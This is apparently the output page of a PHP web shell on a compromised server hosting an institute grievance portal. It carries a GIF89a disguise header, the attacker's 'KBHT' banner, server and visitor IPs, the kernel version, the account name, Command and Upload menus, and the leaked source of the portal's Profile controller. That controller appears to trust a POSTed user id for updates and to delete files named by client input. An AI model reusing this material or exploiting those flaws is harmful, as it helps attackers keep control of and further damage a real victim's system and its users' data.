GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 18.188.140.232
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/css/../../grievance/application/controllers/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/css/../../grievance/application/controllers/Profile.php
<?php

/**
 * Controller Class For Handling All Requests Related To Profiles
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Profile extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->helper('url');
        $this->load->library('session');
        $this->load->helper('form');
        $this->load->library('form_validation');
        $this->load->model("UserManagement");
        $this->load->model("InstituteManagement");
    }

    public function index() {
        if ($this->session->userdata('logged_in')) {
            $viewData['u_info'] = $this->UserManagement->getUserInfoById($this->session->userdata('id'))->result()[0];
            if ($this->session->userdata('role') == 'NA' && $this->session->userdata('type') == 'S') {
                $this->load->model("CourseManagement");
                $viewData['non_del_actv_course'] = $this->CourseManagement->getNonDeletedActiveCoursesOfInstitute($this->session->userdata('inst_id'))->result();
            }
            $this->load->view('p_profile', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function updateMyProfile() {
        if ($this->session->userdata('logged_in')) {
            $this->form_validation->set_rules('userFirstName', 'First Name', 'required', array('required' => 'First Name Can Not Be Blank.'));
            $this->form_validation->set_rules('userGender', 'Gender', 'required', array('required' => 'Gender Is Required.'));
            if ($this->session->userdata('role') == 'NA' && $this->session->userdata('type') == 'S') {
                $this->form_validation->set_rules('userCourse', 'Email Or Mobile', 'trim|required', array('required' => 'Course Is Required.'));
                $this->form_validation->set_rules('userCourseSemOrYear', 'Password', 'required', array('required' => 'Year/Semester Is Required.'));
                $this->form_validation->set_rules('userCourseCompleteDate', 'Email Or Mobile', 'trim|required', array('required' => 'Course Completion Date Is Required.'));
            }
            $userCurrentProfileImageFileName = substr($this->input->post('cau_image_url'), strripos($this->input->post('cau_image_url'), "/") + 1);
            if ($this->form_validation->run() == FALSE) {
                $this->index();
            } else {
                if (empty($_FILES['userProfileImg']['name'])) {
                    $profileImageNameWithPath = $this->input->post('cau_image_url');
                    $iaProfileUpdateData = array(
                        'cau_id' => $this->input->post('cau_id'),
                        'cau_first_name' => $this->input->post('userFirstName'),
                        'cau_last_name' => $this->input->post('userLastName'),
                        'cau_gender' => $this->input->post('userGender'),
                        'cau_last_updated_on' => date("Y-m-d H:i:s"),
                        'cau_alt_email' => $this->input->post('userAltEmail'),
                        'cau_alt_mobile' => $this->input->post('userAltMobile'),
                        'cau_image_url' => $profileImageNameWithPath
                    );
                    if ($this->session->userdata('role') == 'NA' && $this->session->userdata('type') == 'S') {
                        $iaProfileUpdateData['course_id'] = $this->input->post('userCourse');
                        $iaProfileUpdateData['cau_course_ysem'] = $this->input->post('userCourseSemOrYear');
                        $iaProfileUpdateData['cau_course_complt_on'] = date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('userCourseCompleteDate'))));
                    }
                    if ($this->UserManagement->updateUserInfo($iaProfileUpdateData)) {
                        $this->session->set_flashdata('successMessage', 'Changes Saved Successfully.');
                        redirect(current_url());
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $profileImageNameWithPath = "";
                    $configProfileImg['upload_path'] = './assets/images/ext_users/';
                    $configProfileImg['allowed_types'] = 'jpeg|jpg|png|webp';
                    $configProfileImg['max_size'] = '800';
                    $configProfileImg['file_ext_tolower'] = TRUE;
                    $configProfileImg['encrypt_name'] = TRUE;
                    $this->load->library('upload', $configProfileImg);
                    if (!$this->upload->do_upload('userProfileImg')) {
                        $this->session->set_flashdata('errorMessage', "The Profile Image Can Not Be Uploaded As It Do Not Match With Profile Image Criteria. File Size 800 KB Max. & Allowed Extension: Only *.jpeg,*.jpg,*.png,*.webp");
                        $this->index();
                    } else {
                        $profileImageNameWithPath = "assets/images/ext_users/" . $this->upload->data()['file_name'];
                        $iaProfileUpdateData = array(
                            'cau_id' => $this->input->post('cau_id'),
                            'cau_first_name' => $this->input->post('userFirstName'),
                            'cau_last_name' => $this->input->post('userLastName'),
                            'cau_gender' => $this->input->post('userGender'),
                            'cau_last_updated_on' => date("Y-m-d H:i:s"),
                            'cau_alt_email' => $this->input->post('userAltEmail'),
                            'cau_alt_mobile' => $this->input->post('userAltMobile'),
                            'cau_image_url' => $profileImageNameWithPath
                        );
                        if ($this->session->userdata('role') == 'NA' && $this->session->userdata('type') == 'S') {
                            $iaProfileUpdateData['course_id'] = $this->input->post('userCourse');
                            $iaProfileUpdateData['cau_course_ysem'] = $this->input->post('userCourseSemOrYear');
                            $iaProfileUpdateData['cau_course_complt_on'] = date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('userCourseCompleteDate'))));
                        }
                        if ($this->UserManagement->updateUserInfo($iaProfileUpdateData)) {
                            if($userCurrentProfileImageFileName != "default.png"){
                                unlink("./assets/images/ext_users/" . $userCurrentProfileImageFileName);
                            }
                            $this->session->set_userdata('image',$profileImageNameWithPath);
                            $this->session->set_flashdata('successMessage', 'Changes Saved Successfully.');
                            redirect(current_url());
                        } else {
                            $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating. Try Later.');
                            redirect(current_url());
                        }
                    }
                }
            }
        } else {
            redirect("Home/");
        }
    }

    public function instituteProfile() {
        if ($this->session->userdata('logged_in') && $this->session->userdata('role') == 'CA') {
            $this->load->model("LocationManagement");
            $viewData['inst_info'] = $this->InstituteManagement->getInstituteInfoById($this->session->userdata('inst_id'))->result()[0];
            $viewData['allStates'] = $this->LocationManagement->getAllActiveStates()->result();
            $this->load->view('inst_profile', $viewData);
        } else {
            redirect("Home/");
        }
    }

    public function updateInsituteProfile() {
        if ($this->session->userdata('logged_in') && $this->session->userdata('role') == 'CA') {
            $this->form_validation->set_rules('instName', 'Institute Name', 'trim|required', array('required' => 'Institute Name Can Not Be Blank.'));
            $this->form_validation->set_rules('instCode', 'Institute Code', 'trim|required|numeric', array('required' => 'Institute Code Can Not Be Blank'));
            $this->form_validation->set_rules('instEmail', 'Institute Email', 'trim|required|valid_email', array('required' => 'Institute Email Is Required.'));
            $this->form_validation->set_rules('instMobile', 'Institute Mobile', 'trim|required|numeric|min_length[10]|max_length[10]', array('required' => 'Institute Mobile Is Required.'));
            $this->form_validation->set_rules('instLandline', 'Institute Landline', 'trim|required|numeric|min_length[7]|max_length[11]', array('required' => 'Institute Landline Is Required.'));
            $this->form_validation->set_rules('instWebsite', 'Institute Website', 'required', array('required' => 'Institute Website Is Required.'));
            if ($this->form_validation->run() == FALSE) {
                $this->instituteProfile();
            } else {
                if (!$this->InstituteManagement->isEmailSafeUpdate($this->input->post('instId'), $this->input->post('instEmail'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Email (" . $this->input->post('instEmail') . ") Already Exits. Please Try With Different Email.");
                    $this->instituteProfile();
                } else if (!$this->InstituteManagement->isMobileSafeUpdate($this->input->post('instId'), $this->input->post('instMobile'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Mobile (" . $this->input->post('instMobile') . ") Number Already Exits. Please Try With Different Mobile.");
                    $this->instituteProfile();
                } else if (!$this->InstituteManagement->isInstituteCodeSafeUpdate($this->input->post('instId'), $this->input->post('instCode'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Code (" . $this->input->post('instCode') . ") Already Exits. Please Try With Correct Code.");
                    $this->instituteProfile();
                } else if (!$this->InstituteManagement->isWebsiteURLSafeUpdate($this->input->post('instId'), $this->input->post('instWebsite'))) {
                    $this->session->set_flashdata('errorMessage', "An Institute With This Website (" . $this->input->post('instWebsite') . ") Already Exits. Please Try With Correct Website.");
                    $this->instituteProfile();
                } else {
                    $instituteUpdateInfo = array(
                        'clg_id' => $this->input->post('instId'),
                        'clg_name' => $this->input->post('instName'),
                        'clg_code' => $this->input->post('instCode'),
                        'clg_email' => $this->input->post('instEmail'),
                        'clg_mobile' => $this->input->post('instMobile'),
                        'clg_landline' => $this->input->post('instLandline'),
                        'clg_website_url' => $this->input->post('instWebsite'),
                        'clg_city' => (trim($this->input->post('instCity')) == "") ? 0 : $this->input->post('instCity'),
                        'clg_addr_line_one' => $this->input->post('instAddrLineOne'),
                        'clg_addr_line_two' => $this->input->post('instAddrLineTwo'),
                        'clg_addr_line_three' => $this->input->post('instAddrLineThree'),
                        'clg_pincode' => $this->input->post('instZip'),
                        'clg_landmark' => $this->input->post('instLandMark'),
                        'clg_alt_email' => $this->input->post('instAltEmail'),
                        'clg_alt_mobile' => $this->input->post('instAltMobile'),
                        'clg_alt_landline' => $this->input->post('instAltLandline'),
                        'clg_updated_on_ca' => date("Y-m-d H:i:s"),
                        'clg_updated_by_ca' => $this->session->userdata('id')
                    );
                    if ($this->InstituteManagement->updateInstituteInfo($instituteUpdateInfo)) {
                        $this->session->set_flashdata('successMessage', 'Institute Info Updated Successfully.');
                        redirect(current_url());
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Institute Profile. Try Later.');
                        $this->editInstitute(current_url());
                    }
                }
            }
        } else {
            redirect("Home/");
        }
    }

}

KBHT - 2023